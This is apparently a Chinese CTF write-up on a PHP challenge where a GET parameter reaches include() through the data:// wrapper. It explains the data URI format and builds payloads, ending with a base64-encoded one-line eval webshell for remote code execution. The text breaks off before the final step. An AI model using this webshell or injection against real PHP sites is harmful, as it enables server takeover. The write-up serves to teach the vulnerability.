源码分析
-
重点关注这两行代码
-
echo include("data://text/plain;base64,4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3"); isset($_GET['wrappers']) ? include("data://text/plain".$_GET['wrappers']) : '';
-
-
发现这里出现了
data协议
-
data:// - 数据流(RFC 2397)
-
摘自-> https://da7uran0ir.github.io/2018/07/24/php%E6%94%AF%E6%8C%81%E7%9A%84%E5%8D%8F%E8%AE%AE/data%E5%8D%8F%E8%AE%AE/
-
依赖
-
allow_url_fopen:On;
-
allow_url_include:On;
-
PHP_Version>=5.2.0
-
-
data://text/plain;base64, data:资源类型;编码,内容 data:[<mime type>][;charset=<charset>][;base64],<encoded data>
-
第一部分是
data
: 协议头,它标识这个内容为一个 data URI 资源。 -
第二部分是
MIME
类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。 -
第三部分是编码设置,默认编码是 charset=US-ASCII,即数据部分的每个字符都会自动编码为 %xx,
-
关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看
-
效果:// output: ä½ å¥½ ->使用默认的编码展示,故乱码 data:text/html,你好 // output: 你好 -> 使用 UTF-8 展示 data:text/html;charset=UTF-8,你好 // output: 浣犲ソ -> 使用 gbk 展示(浏览器默认编码 UTF-8,故乱码) data:text/html;charset=gbk,你好 // output: 你好 -> UTF-8 编码,内容先使用 base64 解码,然后展示 data:text/html;charset=UTF-8;base64,5L2g5aW9
-
-
第四部分是 base64编码设定,这是一个可选项,base64 编码中仅包含0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。
-
最后一部分为这个
Data URI
承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。 -
data:,<文本数据> data:text/plain,<文本数据> data:text/html,<HTML代码> data:text/html;base64,<base64编码的HTML代码> data:text/css,<CSS代码> data:text/css;base64,<base64编码的CSS代码> data:text/javascript,<Javascript代码> data:text/javascript;base64,<base64编码的Javascript代码> data:image/gif;base64,base64编码的gif图片数据 data:image/png;base64,base64编码的png图片数据 data:image/jpeg;base64,base64编码的jpeg图片数据 data:image/x-icon;base64,base64编码的icon图片数据
-
-
-
而第一句给出了一个演示
-
先把
4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3
base64编码 解密出来看看, 如下- ◝(⁰▿⁰)◜Hello-CTFww
-
而这句代码就是通过
data协议
将上述内容传递给include()
函数
-
-
而第二句则是把 GET 参数
wrappers
通过data协议的方式
传递给include()
函数- 并且通过
text/plain;
限制了文本类型
- 并且通过
解题分析
-
为了获取flag, 我们是否可以通过
data协议
传递一句话木马给include()
-
先拿
<?php phpinfo();?>
举例, 构造 Payload-
data://text/plain,<?php phpinfo();?>
-
而我们需要传参的只有
,<?php phpinfo();?>
-
-
当然也可以把
<?php phpinfo();?>
base64编码 后再传, 比如-
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
-
-
解题步骤
-
尝试传入一句话木马
-
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+
-
或者也可以传入未经过 base64编码 的
-
记得对 Payload 进行URL编码
-
-
然后再同时执行一句话木马
-